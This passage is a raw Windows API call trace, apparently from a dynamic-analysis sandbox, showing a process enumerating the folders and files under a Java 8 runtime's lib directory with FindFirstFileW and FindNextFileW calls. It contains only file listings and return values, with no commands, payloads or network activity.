ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.331] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0057.331] GetLastError () returned 0x12 [0057.332] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.332] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.332] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0057.332] GetLastError () returned 0x12 [0057.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\applet\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\applet\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.332] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.332] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.332] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.332] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.332] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0057.332] GetLastError () returned 0x12 [0057.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\cmm\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\cmm\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.334] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.335] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44798960, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44798960, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44798960, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0057.335] GetLastError () returned 0x12 [0057.335] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.335] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.335] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0057.335] GetLastError () returned 0x12 [0057.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.339] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.339] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0057.339] GetLastError () returned 0x12 [0057.339] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.340] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.340] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a924e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x44a924e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x44b76d20, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4d1a1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0057.340] GetLastError () returned 0x12 [0057.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\ext\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\ext\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46070f00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46070f00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.642] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x46070f00, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x46070f00, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.642] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447beac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x447beac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x447beac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x30134, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0057.642] GetLastError () returned 0x12 [0057.643] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.671] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.880] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0057.880] GetLastError () returned 0x12 [0057.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\fonts\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\fonts\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.882] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.882] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0057.882] GetLastError () returned 0x12 [0057.882] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0057.882] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.882] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0057.882] GetLastError () returned 0x12 [0057.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.883] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.883] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 1 [0057.883] GetLastError () returned 0x12 [0057.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0057.885] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.885] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4487d1a0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4487d1a0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors.properties", cAlternateFileName="CURSOR~1.PRO")) returned 1 [0057.885] GetLastError () returned 0x12 [0057.885] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0057.886] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0057.886] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4487d1a0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0057.886] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.886] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.886] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0057.886] GetLastError () returned 0x12 [0057.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\jfr\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\jfr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.887] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.887] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0057.887] GetLastError () returned 0x12 [0057.887] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.888] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.888] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x88e49, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0057.888] GetLastError () returned 0x12 [0057.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\management\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\management\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0057.890] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.890] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0057.890] GetLastError () returned 0x12 [0057.891] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0057.891] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0057.891] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448a3300, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448a3300, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448a3300, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0057.891] GetLastError () returned 0x12 [0057.892] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\security\\*" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\security\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x448ef5c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0057.893] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448c9460, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x448ef5c0, 